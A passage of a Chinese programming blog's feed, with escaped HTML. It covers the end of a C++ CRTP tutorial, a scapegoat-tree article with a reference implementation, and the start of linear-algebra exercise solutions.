void fix_weapon(T &amp;amp;wp) { wp.fix(); }

int main() {
  Bow a;
  fix_weapon(a);


  std::unique_ptr&amp;lt;Weapon&amp;gt; b = std::make_unique&amp;lt;Gun&amp;gt;();
  // fix_weapon(*b);
  std::vector&amp;lt;std::unique_ptr&amp;lt;Weapon&amp;gt;&amp;gt; v;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实现「注入实现」&lt;/h3&gt;
&lt;p&gt;CRTP 的另一个作用就是复用代码的通用逻辑，实现自动化定义成员函数．&lt;/p&gt;
&lt;p&gt;:::tip[案例 1]
现有基类 &lt;code&gt;Planet&lt;/code&gt; 以及派生类 &lt;code&gt;Sun&lt;/code&gt;，&lt;code&gt;Earth&lt;/code&gt;，对这两个派生类使用 &lt;em&gt;单例模式&lt;/em&gt;．
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Planet {
  float mass, radius, heat;
  float get_volume() const {
    return 3.14f * 4 / 3 * radius * radius * radius;
  }
};

class Sun : public Planet {
private:
  Sun() { /* ... */ };
  ~Sun() { /* ... */ };
  Sun(Sun const &amp;amp;) = delete;
  Sun&amp;amp; operator=(Sun const &amp;amp;) = delete;

public:
  static Sun&amp;amp; get_instance() {
    static Sun instance = Sun();
    return instance;
  }

  void light(Planet&amp;amp; p) {
    float dH = heat / get_volume();
    p.heat += dH;
    heat -= dH;
  }
};

class Earth : public Planet {
private:
  Earth() { /* ... */ };
  ~Earth() { /* ... */ };
  Earth(Earth const &amp;amp;) = delete;
  Earth&amp;amp; operator=(Earth const &amp;amp;) = delete;

public:
  static Earth&amp;amp; get_instance() {
    static Earth instance = Earth();
    return instance;
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现这种 &lt;em&gt;单例模式&lt;/em&gt; 的逻辑高度通用．&lt;/p&gt;
&lt;p&gt;:::warning[失败的实践]
尝试使用协议类的形式提取这种逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Singleton {
protected:
  Singleton() = default;
  ~Singleton() = default;
  Singleton(Singleton const &amp;amp;) = delete;
  Singleton&amp;amp; operator=(Singleton const &amp;amp;) = delete;

public:
  static Singleton&amp;amp; get_instance() {
    static Singleton instance = Singleton();
    return instance;
  }
};

class Sun : public Singleton, public Planet {
protected:
  Sun() { /* ... */ }
  ~Sun() { /* ... */ }
public:
  void light(Planet&amp;amp; p) {
    float dH = heat / get_volume();
    p.heat += dH;
    heat -= dH;
  }
};

class Earth : public Singleton, public Planet {
protected:
  Earth() { /* ... */ }
  ~Earth() { /* ... */ }
};

int main() {
  // 1
  Sun&amp;amp; s = Sun::get_instance();
  Sun&amp;amp;&amp;amp; t = std::move(Sun::get_instance());

  // Sun my_sun, another_sun;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最大的问题就是协议类的单例模式根本没有应用在派生类上：&lt;code&gt;Sun::get_instance()&lt;/code&gt; 得到的是 &lt;code&gt;Singleton&lt;/code&gt; 的单一实例而非 &lt;code&gt;Sun&lt;/code&gt; 的单一实例．我们提取逻辑的同时，类型信息也被抹去了．
:::&lt;/p&gt;
&lt;p&gt;我们只是想复用「禁止拷贝，通过 &lt;code&gt;get_instance()&lt;/code&gt; 获取唯一实例」这种模式，并在类 &lt;code&gt;Singleton&lt;/code&gt; 统一实现这种模式，但又缺乏应用该模式的类型信息．如果实现内容&lt;strong&gt;仅类型不同&lt;/strong&gt;，这个时候就能使用 CRTP 实现「自动化实现」：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T&amp;gt;
class Singleton {
protected:
  Singleton() = default;
  ~Singleton() = default;

  Singleton(Singleton const &amp;amp;) = delete;
  Singleton&amp;amp; operator=(Singleton const &amp;amp;) = delete;
public:
  static T&amp;amp; get_instance() {
    static T instance = T();
    return instance;
  }
};

class Sun : public Singleton&amp;lt;Sun&amp;gt;, public Planet {

  friend class Singleton&amp;lt;Sun&amp;gt;;
protected:
  Sun() { /* ... */ }
  ~Sun() { /* ... */ }
public:
  void light(Planet&amp;amp; p) {
    float dH = heat / get_volume();
    p.heat += dH;
    heat -= dH;
  }
};

class Earth : public Singleton&amp;lt;Earth&amp;gt;, public Planet {
  friend class Singleton&amp;lt;Earth&amp;gt;;
protected:
  Earth() { /* ... */ }
  ~Earth() { /* ... */ }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[另一种视角？]
也许可以这样理解：CRTP 允许构建一个特别的「函数」，输入是类型、值、「函数」，输出是实现，并把输出 &lt;strong&gt;注入&lt;/strong&gt; 到派生类里．
:::&lt;/p&gt;
&lt;p&gt;:::tip[案例 2]
现有 4 个类 &lt;code&gt;Ball&lt;/code&gt;、&lt;code&gt;Cube&lt;/code&gt;、&lt;code&gt;Cat&lt;/code&gt;、&lt;code&gt;Dog&lt;/code&gt;，其中 &lt;code&gt;Ball&lt;/code&gt;、&lt;code&gt;Cube&lt;/code&gt; 的基类是 &lt;code&gt;Object&lt;/code&gt;，&lt;code&gt;Cat&lt;/code&gt;、&lt;code&gt;Dog&lt;/code&gt; 的基类是 &lt;code&gt;Animal&lt;/code&gt;．实现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Object&lt;/code&gt; 的深拷贝方法；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Animal&lt;/code&gt; 的深拷贝方法．
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们的拷贝操作发生在上层模块，不知道待拷贝对象的具体类型，如果直接调用上层拷贝构造函数，会发生 &lt;em&gt;对象切片&lt;/em&gt; (object-slicing)，丢失类型信息．&lt;/p&gt;
&lt;p&gt;假设现在有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ball x; Cube y; Cat z; Dog w;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;浅拷贝返回值实际上指向的还是原来的对象，没有真正拷贝：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Object {
  float object_data;
  std::unique_ptr&amp;lt;Object&amp;gt; clone() {
    return std::unique_ptr&amp;lt;Object&amp;gt;(this);
  }
};

struct Animal {
  float animal_data;
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() {
    return std::unique_ptr&amp;lt;Animal&amp;gt;(this);
  }
};

struct Ball : Object { float ball_data; };
struct Cube : Object { float cube_data; };
struct Cat : Animal { float cat_data; };
struct Dog : Animal { float dog_data; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而深拷贝的 &lt;code&gt;new&lt;/code&gt; 操作又必须要求得知具体类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;std::unique_ptr&amp;lt;Object&amp;gt; ret;
ret = std::make_unique&amp;lt;Ball&amp;gt;(x);
ret = std::make_unique&amp;lt;Cube&amp;gt;(y);
ret = std::make_unique&amp;lt;Cat&amp;gt;(z);
ret = std::make_unique&amp;lt;Dog&amp;gt;(w);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然深拷贝成功，但显式写出了对象的具体类型，违反了开闭原则．&lt;/p&gt;
&lt;p&gt;如果愿意，可以保留虚函数接口，把实现下放：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Object {
  float object_data;
  virtual ~Object() = default;
  virtual std::unique_ptr&amp;lt;Object&amp;gt; clone() = 0;
};

struct Animal {
  float animal_data;
  virtual ~Animal() = default;
  virtual std::unique_ptr&amp;lt;Animal&amp;gt; clone() = 0;
};

struct Ball : Object {
  float ball_data;
  std::unique_ptr&amp;lt;Object&amp;gt; clone() override {
    return std::make_unique&amp;lt;Ball&amp;gt;(*this);
  }
};

struct Cube : Object {
  float cube_data;
  std::unique_ptr&amp;lt;Object&amp;gt; clone() override {
    return std::make_unique&amp;lt;Cube&amp;gt;(*this);
  }
};

struct Cat : Animal {
  float cat_data;
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() override {
    return std::make_unique&amp;lt;Cat&amp;gt;(*this);
  }
};

struct Dog : Animal {
  float dog_data;
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() override {
    return std::make_unique&amp;lt;Dog&amp;gt;(*this);
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;超级复读机！我们可以使用 CRTP 提取这种通用的逻辑，直接在基类实现它们！&lt;/p&gt;
&lt;p&gt;:::warning[错误的实践]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class Derived&amp;gt;
struct Object {
  float object_data;
  std::unique_ptr&amp;lt;Object&amp;gt; clone() {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

template &amp;lt;class Derived&amp;gt;
struct Animal {
  float animal_data;
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

struct Ball : Object&amp;lt;Ball&amp;gt; { float ball_data; };
struct Cube : Object&amp;lt;Cube&amp;gt; { float cube_data; };
struct Cat : Animal&amp;lt;Cat&amp;gt; { float cat_data; };
struct Dog : Animal&amp;lt;Dog&amp;gt; { float dog_data; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CRTP 的副作用就是让基类变成了模板，导致派生类的基类各不相同，失去了动态派发的能力：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ball x; Cube y;
std::shared_ptr&amp;lt;Object&amp;lt;Ball&amp;gt;&amp;gt; nx = x.clone(); // are you kidding me?
std::shared_ptr&amp;lt;Object&amp;lt;Cube&amp;gt;&amp;gt; ny = y.clone(); // 这还不是违反了开闭原则？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;要让基类 &lt;code&gt;Base&lt;/code&gt; 免受 CRTP 的副作用，保留基类指针指向派生类对象的能力，我们可以试试套一层辅助类 &lt;code&gt;BaseImpl&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;:::warning[还不完全正确的实践]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Object { float object_data; };

template &amp;lt;class Derived&amp;gt;
struct ObjectImpl : Object {
  std::unique_ptr&amp;lt;Object&amp;gt; clone() {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

struct Animal { float animal_data; };

template &amp;lt;class Derived&amp;gt;
struct AnimalImpl : Animal {
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

struct Ball : ObjectImpl&amp;lt;Ball&amp;gt; { float ball_data; };
struct Cube : ObjectImpl&amp;lt;Cube&amp;gt; { float cube_data; };
struct Cat : AnimalImpl&amp;lt;Cat&amp;gt; { float cat_data; };
struct Dog : AnimalImpl&amp;lt;Dog&amp;gt; { float dog_data; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会发现的确能够用基类指针指向派生类对象，但本质上你还是失去了多态的 &lt;code&gt;clone&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Ball x;

std::unique_ptr&amp;lt;Object&amp;gt; nx = x.clone();

std::unique_ptr&amp;lt;Object&amp;gt; nnx = nx-&amp;gt;clone();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;因此若想保留动态多态，基类 &lt;code&gt;Base&lt;/code&gt; 的虚函数接口无论如何也不能丢，然后在 &lt;code&gt;BaseImpl&lt;/code&gt; 辅助类里利用 CRTP 实现虚函数！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Object {
  float object_data;
  virtual ~Object() = default;
  virtual std::unique_ptr&amp;lt;Object&amp;gt; clone() = 0;
};

template &amp;lt;class Derived&amp;gt;
struct ObjectImpl : Object {
  std::unique_ptr&amp;lt;Object&amp;gt; clone() override {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

struct Animal {
  float animal_data;
  virtual ~Animal() = default;
  virtual std::unique_ptr&amp;lt;Animal&amp;gt; clone() = 0;
};

template &amp;lt;class Derived&amp;gt;
struct AnimalImpl : Animal {
  std::unique_ptr&amp;lt;Animal&amp;gt; clone() override {
    auto that = static_cast&amp;lt;Derived *&amp;gt;(this);
    return std::make_unique&amp;lt;Derived&amp;gt;(*that);
  }
};

struct Ball : ObjectImpl&amp;lt;Ball&amp;gt; { float ball_data; };
struct Cube : ObjectImpl&amp;lt;Cube&amp;gt; { float cube_data; };
struct Cat : AnimalImpl&amp;lt;Cat&amp;gt; { float cat_data; };
struct Dog : AnimalImpl&amp;lt;Dog&amp;gt; { float dog_data; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
举个例子，&lt;code&gt;AnimalImpl&amp;lt;Cat&amp;gt;&lt;/code&gt; 往 &lt;code&gt;Cat&lt;/code&gt; 里注入了 &lt;code&gt;std::unique_ptr&amp;lt;Animal&amp;gt; clone()&lt;/code&gt;，&lt;code&gt;Derived&lt;/code&gt; 对应 &lt;code&gt;Cat&lt;/code&gt;，减少了复读机的感觉．这个时候 CRTP 显然不是为了消除虚表开销，CRTP 并非与 &lt;code&gt;virtual&lt;/code&gt; 水火不容．
:::&lt;/p&gt;
&lt;p&gt;感觉还是有点复读机，还能再提取吗？只要想保留动态多态，通过 CRTP 注入 &lt;code&gt;clone&lt;/code&gt; 实现的方式并不能 &lt;code&gt;override&lt;/code&gt; 基类的 &lt;code&gt;clone&lt;/code&gt;，&lt;code&gt;override&lt;/code&gt; 就是无法避免的，就算再写一个 &lt;code&gt;Copyable&amp;lt;Base, Derived&amp;gt;::copy_impl&lt;/code&gt; 注入，也意义不大了．&lt;/p&gt;
&lt;h2&gt;编译期 for 循环&lt;/h2&gt;
&lt;p&gt;&amp;lt;!--
TODO:
C++ 无法在一个类的偏特化中注入另外一个偏特化：tag dispatch / traits 实现偏特化“继承” 或者 if constexpr
自己来发明浮点数
std::make_index_sequence
模板实参推导
待决类名的名称查找问题
偏特化偏序关系
__cdecl,__fastcall,__stdcall,x64
非推导语境
initializer_list
copy elision&lt;/p&gt;
&lt;p&gt;// 1. traits 定义
template &amp;lt;typename T&amp;gt;
struct dist_traits {
using result_type = long double;
static result_type call(T x1, T y1, T x2, T y2) {
// 整型专用实现
return std::sqrt(
static_cast&amp;lt;long double&amp;gt;(x1 - x2) * (x1 - x2) +
static_cast&amp;lt;long double&amp;gt;(y1 - y2) * (y1 - y2)
);
}
};
template &amp;lt;typename T&amp;gt;
struct dist_traits&amp;lt;T, std::enable_if_t&amp;lt;std::is_floating_point_v&amp;lt;T&amp;gt;&amp;gt;&amp;gt; {
using result_type = T;
static result_type call(T x1, T y1, T x2, T y2) {
// 浮点专用实现
return std::sqrt((x1 - x2)&lt;em&gt;(x1 - x2) + (y1 - y2)&lt;/em&gt;(y1 - y2));
}
};&lt;/p&gt;
&lt;p&gt;// C++17
template &amp;lt;typename T&amp;gt;
struct Dot2 : Vec&amp;lt;T, 2&amp;gt; {
T x, y;
// ...
friend auto dist(Dot2 const&amp;amp; u, Dot2 const&amp;amp; v) {
return dist_traits&amp;lt;T&amp;gt;::call(u.x, u.y, v.x, v.y);
}
};&lt;/p&gt;
&lt;p&gt;template &amp;lt;typename T&amp;gt;
struct Dot2 : Vec&amp;lt;T, 2&amp;gt; {
T x, y;
friend auto dist(Dot2 const&amp;amp; u, Dot2 const&amp;amp; v) {
if constexpr (std::is_floating_point_v&amp;lt;T&amp;gt;) {
return std::sqrt((u.x - v.x)&lt;em&gt;(u.x - v.x) + (u.y - v.y)&lt;/em&gt;(u.y - v.y));
} else {
return std::sqrt(
static_cast&amp;lt;long double&amp;gt;(u.x - v.x) * (u.x - v.x) +
static_cast&amp;lt;long double&amp;gt;(u.y - v.y) * (u.y - v.y)
);
}
}
};
--&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>替罪羊树 (ScapeGoat-Tree)</title><link>https://fuwari.vercel.app/posts/algo/scapegoat/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/algo/scapegoat/</guid><description>相比有旋 Treap 通过旋转维护平衡，替罪羊树通过暴力重构维护平衡，通过平衡因子的大小决定重构时机，常数相比 FHQ-Treap 较小．</description><pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;作为一种平衡树，替罪羊树维护平衡的方式并不是旋转，而是对失衡子树中序遍历，然后直接二分重构，常数相比 FHQ-Treap 较小．&lt;/p&gt;
&lt;h2&gt;平衡因子&lt;/h2&gt;
&lt;p&gt;由于重构代价较大，我们放宽平衡的标准，以实现 $O(\log n)$ 的均摊复杂度．&lt;/p&gt;
&lt;p&gt;考虑以 $p$ 为根节点的子树 $T_p$，节点数为 $|T_p|$，$p$ 的左右儿子分别为 $l(p)$，$r(p)$．我们令
$$
\alpha_p = \frac{1}{|T_p|} \max(|T_{l(p)}|, |T_{r(p)}|)
$$
这个因子越大，说明这棵子树失衡程度越大．我们设定一个失衡标准 $\alpha \in (0.5, 1)$，当 $\alpha_p \ge \alpha$ 时，我们认为这棵子树需要重构．正常情况下，所有子树将满足 $\alpha$-重量平衡
$$
\alpha_p &amp;lt; \alpha
$$
容易得到，若子树满足 $\alpha$-重量平衡，则树高
$$
h(p) \le |\log_{1/\alpha}|T_p||
$$
这也被称 $\alpha$-高度平衡，保证了访问复杂度为 $O(\log n)$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;实际上，高度对于访问是最直接的因素，不过如果用 $\alpha$-高度平衡来判断是否失衡，其浮点数的运算会带来较大的常数，所以一般使用 $\alpha$-重量平衡来判断失衡情况．&lt;/p&gt;
&lt;p&gt;另外，一次插入操作可能会带来自下而上多棵所属子树的失衡，显然取最高的祖先进行子树的重构是最优的．不过其实取路径上任何一个节点作为「替罪羊」重构子树就行，这能让子树高度至少减 $1$．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通常取 $\alpha \in [0.7, 0.8]$．若取 $\alpha = 0.5$，则重构过于频繁；若取 $\alpha = 1$，则完全不重构，退化成普通 BST，树可能退化成链．&lt;/p&gt;
&lt;h2&gt;惰性删除&lt;/h2&gt;
&lt;p&gt;如果计数仅剩 $1$ 的值即将被删除，我们可以选择不改变树结构，仅让计数减为 $0$ 成为空节点，但过多的空节点会影响访问效率．&lt;/p&gt;
&lt;p&gt;我们设定一个容忍度，当非空节点数占比小于这个容忍度时，我们认为这棵树也需要重构，重构时将删除所有空节点．&lt;/p&gt;
&lt;p&gt;因为是常数优化，这个容忍度取值要求不高，通常可以直接挪用 $\alpha$ 作为这个容忍度．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有趣的是，由于子树因删除操作导致的重构会删除空节点，失衡祖先可能恢复平衡．因此有时也可以选取所有失衡节点作为「替罪羊」进行重构，这样低的「替罪羊」可能会为上面的「替罪羊」替罪，奇妙地减少总重构开销．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;均摊复杂度的粗略分析&lt;/h2&gt;
&lt;p&gt;以下为了简化分析，不区分节点数和非空节点数，并且每一次插入操作后，我们选取最高失衡节点作为「替罪羊」，这样不用考虑多次重构的问题．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当然任何路径上的节点都可以作为「替罪羊」，这种情况通过选取适当的势能函数 (所有左右子树大小差之和)，通过摊还分析，可以证明与下面相同的均摊复杂度．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;考虑某一次插入操作，导致新节点所属最高子树 $T_p$ 失衡，重构此树的代价是 $O(|T_p|)$．但别忘了，我们是怎么让这棵子树失衡的？从上一次重构后到这次重构前，我们往这棵子树添加了多少节点？&lt;/p&gt;
&lt;p&gt;在这一次重构前，子树 $T_p$ 不满足 $\alpha$-重量平衡
$$
\max(|T_{l(p)}|, |T_{r(p)}|) &amp;gt; \alpha |T_p|
$$
同时
$$
|T_p| = |T_{l(p)}| + |T_{r(p)}| + 1
$$
得到
$$
\left||T_{l(p)}| - |T_{r(p)}|\right| &amp;gt; (2\alpha - 1)|T_p|
$$
在上一次重构后，如果我们想让子树 $T_p$ 最快失衡，则至少添加 $(2\alpha - 1)|T_p|$ 个节点．也就是总共 $O(|T_p| \log |T_p|)$ 的时间复杂度，均摊到每次插入操作的复杂度为
$$
\frac{O(|T_p| \log |T_p|) + O(|T_p|)}{O(|T_p|)} = O(\log |T_p|)
$$&lt;/p&gt;
&lt;p&gt;删除操作同理．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;真的很不严谨啦...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;参考实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;algorithm&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;iostream&amp;gt;

template &amp;lt;class T, int N, int ALPHA&amp;gt;
struct ScapeGoat {
  int tot = 0, rt = 0, l[N + 1], r[N + 1];
  T val[N + 1]; int frq[N + 1];
  int siz[N + 1], dsiz[N + 1], cnt[N + 1];

  struct {
    int siz;
    int arr[N + 1];
    int&amp;amp; operator[](int i) { return arr[i]; }
    void clr()             { siz = 0; }
    void push(int x)       { arr[siz++] = x; }
  } arr;

  int node(T x) {
    tot += 1;
    val[tot] = x, frq[tot] = 1;
    l[tot] = r[tot] = 0;
    siz[tot] = dsiz[tot] = cnt[tot] = 1;
    return tot;
  }

  void pull(int p) {
    siz[p] = siz[l[p]] + siz[r[p]] + 1;
    dsiz[p] = dsiz[l[p]] + dsiz[r[p]] + (frq[p] &amp;gt; 0);
    cnt[p] = cnt[l[p]] + cnt[r[p]] + frq[p];
  }

  bool check(int p) {
    return (
      std::max(siz[l[p]], siz[r[p]]) * 100 &amp;gt;= ALPHA * siz[p] ||
      dsiz[p] * 100 &amp;lt;= ALPHA * siz[p]
    );
  }

  void flatten(int p) {
    if (p == 0) return;
    flatten(l[p]);
    if (frq[p] &amp;gt; 0) arr.push(p);
    flatten(r[p]);
  }

  void build(int &amp;amp;p, int L, int R) {
    if (R &amp;lt; L) return (void)(p = 0);
    int M = (L + R) / 2;
    p = arr[M];
    build(l[p], L, M - 1);
    build(r[p], M + 1, R);
    pull(p);
  }

  void rebuild(int &amp;amp;p) {
    arr.clr();
    flatten(p);
    build(p, 0, arr.siz - 1);
  }

  void insert(int &amp;amp;p, T x, bool enable = true) {
    bool                                balance = !check(p);
    if       (p == 0)                   return (void)(p = node(x));
    if       (x &amp;lt; val[p])               insert(l[p], x, enable &amp;amp;&amp;amp; balance);
    else if  (x &amp;gt; val[p])               insert(r[p], x, enable &amp;amp;&amp;amp; balance);
    else                                frq[p] += 1;
                                        pull(p);
    if       (enable &amp;amp;&amp;amp; !balance)       rebuild(p);
  }

  // lazy remove, x must exists
  void remove(int &amp;amp;p, T x, bool enable = true) {
    bool                                balance = !check(p);
    if       (x &amp;lt; val[p])               remove(l[p], x, enable &amp;amp;&amp;amp; balance);
    else if  (x &amp;gt; val[p])               remove(r[p], x, enable &amp;amp;&amp;amp; balance);
    else                                frq[p] = std::max(frq[p] - 1, 0);
                                        pull(p);
    if       (enable &amp;amp;&amp;amp; !balance)       rebuild(p);
  }

  // return [0, cnt[p]-1], nums of &amp;lt; x
  int rank(int p, T x) {
    if       (p == 0)                   return 0;
    if       (x &amp;lt; val[p])               return rank(l[p], x);
    else if  (x &amp;gt; val[p])               return cnt[l[p]] + frq[p] + rank(r[p], x);
    else                                return cnt[l[p]];
  }

  // k in [1, cnt[p]]
  int kth(int p, int k) {
    if       (p == 0)                   return -1;
    if       (k &amp;lt;= cnt[l[p]])           return kth(l[p], k);
    else if  (k &amp;gt; cnt[l[p]] + frq[p])   return kth(r[p], k - cnt[l[p]] - frq[p]);
    else                                return p;
  }

  int     prev      (int p, T x)      { return kth(p, rank(p, x)); }
  int     next      (int p, T x)      { return kth(p, rank(p, x + 1) + 1); }

  void    clear     ()                { tot = rt = 0; }
  void    insert    (T x)             { insert(rt, x); }
  void    remove    (T x)             { remove(rt, x); }
  int     rank      (T x)             { return rank(rt, x); }
  int     kth       (int k)           { return kth(rt, k); }
  int     prev      (T x)             { return prev(rt, x); }
  int     next      (T x)             { return next(rt, x); }
};

using i64 = int64_t;
ScapeGoat&amp;lt;i64, 100&apos;000, 75&amp;gt; arr{};

int main() {
  std::ios::sync_with_stdio(false);
  std::cin.tie(nullptr);
  int n;
  std::cin &amp;gt;&amp;gt; n;
  while (n--) {
    int op;
    i64 x;
    std::cin &amp;gt;&amp;gt; op &amp;gt;&amp;gt; x;
    if (op == 1) {
      arr.insert(x);
    } else if (op == 2) {
      arr.remove(x);
    } else if (op == 3) {
      std::cout &amp;lt;&amp;lt; arr.rank(x) + 1 &amp;lt;&amp;lt; &apos;\n&apos;;
    } else if (op == 4) {
      std::cout &amp;lt;&amp;lt; arr.val[arr.kth(x)] &amp;lt;&amp;lt; &apos;\n&apos;;
    } else if (op == 5) {
      std::cout &amp;lt;&amp;lt; arr.val[arr.prev(x)] &amp;lt;&amp;lt; &apos;\n&apos;;
    } else if (op == 6) {
      std::cout &amp;lt;&amp;lt; arr.val[arr.next(x)] &amp;lt;&amp;lt; &apos;\n&apos;;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>【LADR】【03】Linear Maps</title><link>https://fuwari.vercel.app/posts/math/ladr/ladr-03-linear-maps/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/math/ladr/ladr-03-linear-maps/</guid><description>Linear Algebra Done Right 第三章</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;线性映射&lt;/h1&gt;
&lt;h2&gt;线性映射也构成向量空间&lt;/h2&gt;
&lt;h3&gt;习题 3A&lt;/h3&gt;
&lt;h4&gt;第 11 题&lt;/h4&gt;
&lt;p&gt;设 $V$ 是有限维的，$T \in \mathcal L(V)$．证明
$$
\exists, \lambda \in \mathbf F, T = \lambda I
$$
当且仅当
$$
\forall, S \in \mathcal L(V), : S,T = TS
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;必要性 ($\Rightarrow$) 易证，充分性 ($\Leftarrow$) 如下．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;：要证 $Tv = \lambda v$，为了能利用上 $ST = TS$，我们取 $S \in \mathcal L(V)$，且满足 $v = Su$，此时
$$
Tv = T(Su) = S(Tu) \overset{?}{=} \lambda v
$$
虽然 $v = Su$ 和线性映射这两个条件会让 $S$ 的存在性无法保证，但可以看到，我们还希望让 $S$ 映射到 $v$ 的方向上，于是我们进一步取 $S_v \in \mathcal L(V)$，且满足 $S_v u = \varphi(u)v$，其中 $\varphi : V \rightarrow \mathbf F$．&lt;/p&gt;
&lt;p&gt;为了保证 $S_v$ 的线性性，此时 $\varphi$ 必须为线性映射，但我们又想让它在某个输入下输出 $1$，以便我们作替换
$$
Tv = T(\varphi(?)v) = T(S_v (?)) = S_v(T(?)) = \varphi(T(?)) v
$$
&lt;em&gt;想让线性映射输出特定，输入只能是基向量&lt;/em&gt;．因为 $V$ 是有限维的 ($\dim V = 0$ 的情形显然，不做讨论)，设 $V$ 的一组基为
$$
{v_1, v_2, \cdots, v_m}
$$
设法让 $\varphi(v_1) = 1$，其他的输出任意．所有输出确定后，根据&lt;strong&gt;线性映射引理&lt;/strong&gt;，这个线性映射 $\varphi$ 存在，且被唯一确定，因此将 $?$ 替换成 $v_1$ 即可完成证明．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;第 13 题&lt;/h4&gt;
&lt;p&gt;设 $V$ 是有限维的，$U$ 是 $V$ 的子空间，$S \in \mathcal L(U, W)$，证明：
$$
\exists, T \in \mathcal L(V, W),: \forall, u \in U,: Tu = Su
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$T$ 在 $U$ 上的映射和 $S$ 保持一致即可，人为构造在 $V - U$ 上的映射，使整体保持线性性较为困难．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：不妨从整体出发，直接在 $V$ 上找满足局部条件的映射，这样容易保证线性性．为了满足局部条件，我们选取从 $U$ 基 (线性无关组) 拓展出来的 $V$ 基 ($\dim V = 0$ 的情形显然，不做讨论)
$$
{u_1, \cdots, u_{m}, v_{m+1}, \cdots, v_n}
$$
我们令
$$
\begin{aligned}
Tu_i &amp;amp;= Su_i, &amp;amp; i &amp;amp;= 1, \cdots, m \
Tv_j &amp;amp;\in W, &amp;amp; j &amp;amp;= m + 1, \cdots, n
\end{aligned}
$$
根据&lt;strong&gt;线性映射引理&lt;/strong&gt;，$T \in \mathcal L(V, W)$ 存在且唯一，且 $\forall, u \in U$，
$$
\begin{aligned}
Tu &amp;amp;= c_1Tu_1 + \cdots + c_mTu_m \
&amp;amp;= c_1Su_1 + \cdots + c_mSu_m = Su
\end{aligned}
$$
原命题得证．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;第 14 题&lt;/h4&gt;
&lt;p&gt;设 $V$ 是有限维的，$W$ 是无限维的，$\dim V &amp;gt; 0$，证明：$\mathcal L(V, W)$ 是无限维的．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;证明&lt;/strong&gt;：只需证能构造出无穷序列 ${T_i}$，使得 $\forall, n \in \mathbf N_+$，
$$
T_1, \cdots, T_n
$$
线性无关，即
$$
c_1T_1 + \cdots + c_nT_n = 0
$$
只有平凡解，也就是 $\forall, v \in V$，
$$
(c_1T_1 + \cdots + c_nT_n)v = 0
$$
